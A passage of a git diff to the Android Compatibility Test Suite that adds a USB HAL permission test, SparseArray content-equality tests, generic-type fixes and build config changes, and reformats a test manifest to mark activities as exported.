+     * Verify NO SecurityException.
+     */
+    @Test
+    public void test_UsbApiForUsbHal() throws Exception {
+        // Adopt MANAGE_USB permission.
+        mUiAutomation.adoptShellPermissionIdentity(MANAGE_USB);
+
+        // Should pass with permission.
+        int version = mUsbManagerSys.getUsbHalVersion();
+        if (version == USB_HAL_LATEST_VERSION) {
+            Log.d(TAG, "Running with the latest HAL version");
+        } else if (version == UsbManager.USB_HAL_NOT_SUPPORTED) {
+            Log.d(TAG, "Not supported HAL version");
+        }
+        else {
+            Log.d(TAG, "Not the latest HAL version");
+        }
+
+        // Drop MANAGE_USB permission.
+        mUiAutomation.dropShellPermissionIdentity();
+
+        try {
+            mUsbManagerSys.getUsbHalVersion();
+            Assert.fail("Expecting SecurityException on getUsbHalVersion.");
+        } catch (SecurityException secEx) {
+            Log.d(TAG, "Expected SecurityException on getUsbHalVersion.");
+        }
+    }
 }
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
index 3998282..1c29b21 100644
--- a/tests/tests/util/Android.bp
+++ b/tests/tests/util/Android.bp
@@ -23,6 +23,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts-statsd",
     ],
     libs: ["android.test.runner"],
     static_libs: [
diff --git a/tests/tests/util/AndroidManifest.xml b/tests/tests/util/AndroidManifest.xml
index 10de8ef..bcb9bb8 100644
--- a/tests/tests/util/AndroidManifest.xml
+++ b/tests/tests/util/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.READ_LOGS" />
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/util/AndroidTest.xml b/tests/tests/util/AndroidTest.xml
index b12f16e..5af112e 100644
--- a/tests/tests/util/AndroidTest.xml
+++ b/tests/tests/util/AndroidTest.xml
@@ -28,4 +28,8 @@
         <option name="runtime-hint" value="9m" />
         <option name="hidden-api-checks" value="false" />
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.os.statsd" />
+    </object>
 </configuration>
diff --git a/tests/tests/util/TEST_MAPPING b/tests/tests/util/TEST_MAPPING
new file mode 100644
index 0000000..70f0e93
--- /dev/null
+++ b/tests/tests/util/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsUtilTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/util/src/android/util/cts/InstallUtilTest.java b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
index c3bfe28..59e89aa 100644
--- a/tests/tests/util/src/android/util/cts/InstallUtilTest.java
+++ b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
@@ -177,8 +177,9 @@
             assertThat(session).isNotNull();
 
             // Session can be committed directly, but a BroadcastReceiver must be provided.
-            session.commit(LocalIntentSender.getIntentSender());
-            InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+            LocalIntentSender sender = new LocalIntentSender();
+            session.commit(sender.getIntentSender());
+            InstallUtils.assertStatusSuccess(sender.getResult());
 
             // Verify app has been installed
             assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
index 96b54ee..93df3dc 100644
--- a/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
@@ -37,7 +37,7 @@
 
     @Test
     public void testStoreSingleInt() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
         }
@@ -52,7 +52,7 @@
 
     @Test
     public void testStoreMultipleInt() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
 
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
@@ -76,7 +76,7 @@
 
     @Test
     public void testClear() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
         }
@@ -89,7 +89,7 @@
 
     @Test
     public void testContains() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
         }
@@ -105,7 +105,7 @@
 
     @Test
     public void testDelete() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
             sam.add(1, KEYS_1[i], i);
@@ -142,7 +142,7 @@
 
     @Test
     public void testGetOrDefault() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             if (i % 2 == 0) {
                 sam.add(0, KEYS_1[i], i);
@@ -157,7 +157,7 @@
 
     @Test
     public void testIntKeyIndexing() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(i * 2, KEYS_1[i], i * 2 + 1);
         }
@@ -169,7 +169,7 @@
 
     @Test
     public void testIntStringKeyIndexing() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(i * 2, KEYS_1[i], i * 2 + 1);
         }
@@ -182,7 +182,7 @@
 
     @Test
     public void testNumMaps() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < 10; i++) {
             assertEquals(i, sam.numMaps());
             sam.add(i, "blue", i);
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayTest.java b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
index 28df0cf..b90fd38 100644
--- a/tests/tests/util/src/android/util/cts/SparseArrayTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseArrayTest.java
@@ -16,11 +16,15 @@
 
 package android.util.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.annotation.NonNull;
 import android.util.SparseArray;
 
 import androidx.test.filters.SmallTest;
@@ -29,6 +33,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Objects;
+import java.util.function.BiFunction;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class SparseArrayTest {
@@ -135,7 +142,7 @@
         assertEquals(LENGTH, sparseArray.size());
 
         assertEquals(VALUE_FOR_NON_EXISTED_KEY,
-                     sparseArray.get(NON_EXISTED_KEY, VALUE_FOR_NON_EXISTED_KEY));
+                sparseArray.get(NON_EXISTED_KEY, VALUE_FOR_NON_EXISTED_KEY));
         assertNull(sparseArray.get(NON_EXISTED_KEY)); // the default value is null
 
         int size = sparseArray.size();
@@ -189,4 +196,227 @@
         assertEquals(20L, sparseArray.valueAt(2).longValue());
         assertEquals(Long.MIN_VALUE, sparseArray.valueAt(3).longValue());
     }
+
+    @Test
+    public void testSet() {
+        SparseArray<String> first = new SparseArray<>();
+        first.put(0, "0");
+        first.put(1, "1");
+        first.put(2, "2");
+
+        SparseArray<String> second = new SparseArray<>();
+        second.set(2, "2");
+        second.set(0, "0");
+        second.set(1, "1");
+
+        assertThat(first.size()).isEqualTo(second.size());
+        assertThat(first.get(0)).isEqualTo(second.get(0));
+        assertThat(first.get(1)).isEqualTo(second.get(1));
+        assertThat(first.get(2)).isEqualTo(second.get(2));
+        assertThat(first.get(3, "-1")).isEqualTo(second.get(3, "-1"));
+
+        testContentEquals(first, second, SparseArray::contentEquals);
+    }
+
+    @Test
+    public void testContentEquals() {
+        SparseArray<TestData> first = new SparseArray<>();
+        first.put(0, new TestData("0"));
+        first.put(1, new TestData("1"));
+        first.put(2, new TestData("2"));
+
+        SparseArray<SubTestData> second = new SparseArray<>();
+        second.put(2, new SubTestData("2"));
+        second.put(0, new SubTestData("0"));
+        second.put(1, new SubTestData("1"));
+
+        // Subclass succeeds
+        testContentEquals(first, second, SparseArray::contentEquals);
+
+        SparseArray<TestData2> noMatchParent = new SparseArray<>();
+        noMatchParent.put(2, new TestData2("2"));
+        noMatchParent.put(0, new TestData2("0"));
+        noMatchParent.put(1, new TestData2("1"));
+
+        // Non-matching parent class fails (as implemented in equals instanceof check)
+        testContentNotEquals(first, noMatchParent, SparseArray::contentEquals);
+
+        SparseArray<TestDataCustomEquals> customEqualsOne = new SparseArray<>();
+        customEqualsOne.put(0, new TestDataCustomEquals("0"));
+        customEqualsOne.put(1, new TestDataCustomEquals("1"));
+        customEqualsOne.put(2, new TestDataCustomEquals("2"));
+
+        SparseArray<TestDataCustomEquals2> customEqualsTwo = new SparseArray<>();
+        customEqualsTwo.put(2, new TestDataCustomEquals2("2"));
+        customEqualsTwo.put(0, new TestDataCustomEquals2("0"));
+        customEqualsTwo.put(1, new TestDataCustomEquals2("1"));
+
+        // Non-matching parent class succeeds (as implemented in custom equals check)
+        testContentEquals(customEqualsOne, customEqualsTwo, SparseArray::contentEquals);
+
+        // Null fails
+        assertFalse(first.contentEquals(null));
+    }
+
+    private <T> void testContentEquals(@NonNull SparseArray<?> first,
+            @NonNull SparseArray<T> second,
+            BiFunction<SparseArray<?>, SparseArray<?>, Boolean> block) {
+        // Assert mirrored equality
+        assertTrue(block.apply(first, second));
+        assertTrue(block.apply(second, first));
+
+        //noinspection unchecked
+        second.put(1, (T) first.valueAt(2));
+
+        // Non-matching data at index 1 fails
+        assertFalse(first.contentEquals(second));
+        assertFalse(second.contentEquals(first));
+
+        // Assert failure of normal Objects.equals maintained
+        assertNotEquals(first, second);
+        assertNotEquals(second, first);
+    }
+
+    private <T> void testContentNotEquals(@NonNull SparseArray<?> first,
+            @NonNull SparseArray<T> second,
+            BiFunction<SparseArray<?>, SparseArray<?>, Boolean> block) {
+        // Assert mirrored equality
+        assertFalse(block.apply(first, second));
+        assertFalse(block.apply(second, first));
+        assertFalse(second.contentEquals(first));
+
+        // Assert failure of normal Objects.equals maintained
+        assertNotEquals(first, second);
+        assertNotEquals(second, first);
+    }
+
+    @Test
+    public void testContentHashCode() {
+        SparseArray<TestData> first = new SparseArray<>();
+        first.put(0, new TestData("0"));
+        first.put(1, new TestData("1"));
+        first.put(2, new TestData("2"));
+
+        SparseArray<TestData2> second = new SparseArray<>();
+        second.put(2, new TestData2("2"));
+        second.put(0, new TestData2("0"));
+        second.put(1, new TestData2("1"));
+
+        // Non-equal classes that evaluate to the same hash code passes
+        assertEquals(first.contentHashCode(), second.contentHashCode());
+
+        // Assert failure of normal Objects.hashCode maintained
+        assertNotEquals(first.hashCode(), second.hashCode());
+
+        second.put(1, new TestData2("2"));
+
+        // Non-matching data at index 1 fails
+        assertNotEquals(first.contentHashCode(), second.contentHashCode());
+
+        // Assert failure of normal Objects.hashCode maintained
+        assertNotEquals(first.hashCode(), second.hashCode());
+    }
+
+    private static class TestData {
+
+        private final String data;
+
+        private TestData(@NonNull String data) {
+            this.data = data;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) return true;
+            if (!(o instanceof TestData)) return false;
+            TestData testData = (TestData) o;
+            return Objects.equals(data, testData.data);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(data);
+        }
+    }
+
+    private static class TestData2 {
+
+        private final String data;
+
+        private TestData2(@NonNull String data) {
+            this.data = data;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) return true;
+            if (!(o instanceof TestData2)) return false;
+            TestData2 testData2 = (TestData2) o;
+            return Objects.equals(data, testData2.data);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(data);
+        }
+    }
+
+    private static class TestDataCustomEquals {
+
+        private final String data;
+
+        private TestDataCustomEquals(@NonNull String data) {
+            this.data = data;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) return true;
+            if (o instanceof TestDataCustomEquals) {
+                return Objects.equals(data, ((TestDataCustomEquals) o).data);
+            } else if (o instanceof TestDataCustomEquals2) {
+                return Objects.equals(data, ((TestDataCustomEquals2) o).data);
+            } else {
+                return false;
+            }
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(data);
+        }
+    }
+
+    private static class TestDataCustomEquals2 {
+
+        private final String data;
+
+        private TestDataCustomEquals2(@NonNull String data) {
+            this.data = data;
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) return true;
+            if (o instanceof TestDataCustomEquals) {
+                return Objects.equals(data, ((TestDataCustomEquals) o).data);
+            } else if (o instanceof TestDataCustomEquals2) {
+                return Objects.equals(data, ((TestDataCustomEquals2) o).data);
+            } else {
+                return false;
+            }
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(data);
+        }
+    }
+
+    private static class SubTestData extends TestData {
+
+        private SubTestData(@NonNull String data) {
+            super(data);
+        }
+    }
 }
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index 3c16650..47bca8b 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -34,6 +34,7 @@
     compatibility-device-util-axt \
     ctsdeviceutillegacy-axt \
     ctstestrunner-axt \
+    cts-input-lib \
     mockito-target-minus-junit4 \
     platform-test-annotations \
     ub-uiautomator \
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 344375e..86527f7 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -16,383 +16,423 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.view.cts"
-    android:targetSandboxVersion="2">
+     package="android.view.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-feature android:name="android.hardware.camera" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-feature android:name="android.hardware.camera"/>
 
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:supportsRtl="true">
-        <uses-library android:name="android.test.runner" />
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:supportsRtl="true">
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.app.Activity"
-                  android:label="Empty Activity"
-                  android:theme="@style/ViewAttributeTestTheme">
+             android:label="Empty Activity"
+             android:theme="@style/ViewAttributeTestTheme"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewStubCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewStubCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewStubCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.UsingViewsCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="Using Views Test">
+             android:screenOrientation="locked"
+             android:label="Using Views Test"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.FocusHandlingCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="Focus Handling Test">
+             android:screenOrientation="locked"
+             android:label="Focus Handling Test"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name=".ViewGroupInvalidateChildCtsActivity"
-                  android:label="ViewGroupCtsActivity"
-                  android:screenOrientation="locked"
-                  android:hardwareAccelerated="false">
+             android:label="ViewGroupCtsActivity"
+             android:screenOrientation="locked"
+             android:hardwareAccelerated="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewTestCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewTestCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewTestCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewLayoutPositionTestCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewTestCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewTestCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.animation.cts.AnimationTestCtsActivity"
-                  android:label="AnimationTestCtsActivity"
-                  android:screenOrientation="locked"
-                  android:configChanges="orientation|screenSize">
+             android:label="AnimationTestCtsActivity"
+             android:screenOrientation="locked"
+             android:configChanges="orientation|screenSize"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.animation.cts.GridLayoutAnimCtsActivity"
-                  android:label="GridLayoutAnimCtsActivity"
-                  android:screenOrientation="locked"
-                  android:configChanges="orientation|screenSize">
+             android:label="GridLayoutAnimCtsActivity"
+             android:screenOrientation="locked"
+             android:configChanges="orientation|screenSize"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.animation.cts.LayoutAnimCtsActivity"
-                  android:label="LayoutAnimCtsActivity"
-                  android:screenOrientation="locked"
-                  android:configChanges="orientation|screenSize">
+             android:label="LayoutAnimCtsActivity"
+             android:screenOrientation="locked"
+             android:configChanges="orientation|screenSize"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewCtsActivity"
-                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:screenOrientation="locked"
-                  android:label="TextureViewCtsActivity">
+             android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+             android:screenOrientation="locked"
+             android:label="TextureViewCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewCameraActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewStressTestActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewSnapshotTestActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.PixelCopyVideoSourceActivity"
-                  android:screenOrientation="locked"
-                  android:label="PixelCopyVideoSourceActivity" />
+             android:screenOrientation="locked"
+             android:label="PixelCopyVideoSourceActivity"/>
 
         <activity android:name="android.view.cts.PixelCopyGLProducerCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="PixelCopyGLProducerCtsActivity"/>
+             android:screenOrientation="locked"
+             android:label="PixelCopyGLProducerCtsActivity"/>
 
 
         <activity android:name="android.view.cts.PixelCopyViewProducerActivity"
-                  android:label="PixelCopyViewProducerActivity"
-                  android:screenOrientation="portrait"
-                  android:rotationAnimation="jumpcut"
-                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
+             android:label="PixelCopyViewProducerActivity"
+             android:screenOrientation="portrait"
+             android:rotationAnimation="jumpcut"
+             android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+             android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"/>
 
         <activity android:name="android.view.cts.PixelCopyWideGamutViewProducerActivity"
-                  android:label="PixelCopyWideGamutViewProducerActivity"
-                  android:screenOrientation="portrait"
-                  android:rotationAnimation="jumpcut"
-                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
-                  android:colorMode="wideColorGamut" />
+             android:label="PixelCopyWideGamutViewProducerActivity"
+             android:screenOrientation="portrait"
+             android:rotationAnimation="jumpcut"
+             android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+             android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
+             android:colorMode="wideColorGamut"/>
 
         <activity android:name="android.view.cts.PixelCopyViewProducerDialogActivity"
-                  android:label="PixelCopyViewProducerDialogActivity"
-                  android:screenOrientation="portrait"
-                  android:rotationAnimation="jumpcut"
-                  android:theme="@android:style/Theme.Material.Dialog.NoActionBar"
-                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
+             android:label="PixelCopyViewProducerDialogActivity"
+             android:screenOrientation="portrait"
+             android:rotationAnimation="jumpcut"
+             android:theme="@android:style/Theme.Material.Dialog.NoActionBar"
+             android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"/>
 
         <activity android:name="android.view.cts.FocusFinderCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="FocusFinderCtsActivity">
+             android:screenOrientation="locked"
+             android:label="FocusFinderCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.GestureDetectorCtsActivity"
-                  android:label="GestureDetectorCtsActivity"
-                  android:screenOrientation="locked"
-                  android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
+             android:label="GestureDetectorCtsActivity"
+             android:screenOrientation="locked"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"/>
 
         <activity android:name="android.view.cts.ScaleGestureDetectorCtsActivity"
-                  android:label="ScaleGestureDetectorCtsActivity"
-                  android:screenOrientation="locked"
-                  android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
+             android:label="ScaleGestureDetectorCtsActivity"
+             android:screenOrientation="locked"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"/>
 
         <activity android:name="android.view.cts.DisplayRefreshRateCtsActivity"
-                  android:label="DisplayRefreshRateCtsActivity"/>
+             android:label="DisplayRefreshRateCtsActivity"/>
 
         <activity android:name="android.view.cts.MockActivity"
-                  android:label="MockActivity"
-                  android:screenOrientation="locked">
+             android:label="MockActivity"
+             android:screenOrientation="locked">
             <meta-data android:name="android.view.merge"
-                android:resource="@xml/merge" />
+                 android:resource="@xml/merge"/>
         </activity>
 
         <activity android:name="android.view.cts.MenuTestActivity"
-                  android:screenOrientation="locked"
-                  android:label="MenuTestActivity" />
+             android:screenOrientation="locked"
+             android:label="MenuTestActivity"/>
 
         <activity android:name="android.view.cts.MenuItemCtsActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
-                  android:screenOrientation="locked"
-                  android:label="MenuItemCtsActivity" />
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:screenOrientation="locked"
+             android:label="MenuItemCtsActivity"/>
 
         <activity android:name="android.view.cts.ActionModeCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ActionModeCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ActionModeCtsActivity">
         </activity>
 
         <activity android:name="android.view.cts.ViewOverlayCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewOverlayCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewOverlayCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewGroupOverlayCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewGroupOverlayCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewGroupOverlayCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.SearchEventActivity"
-                  android:screenOrientation="locked"
-                  android:label="SearchEventActivity">
+             android:screenOrientation="locked"
+             android:label="SearchEventActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.CtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="CtsActivity">
+             android:screenOrientation="locked"
+             android:label="CtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ContentPaneCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ContentPaneCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ContentPaneCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
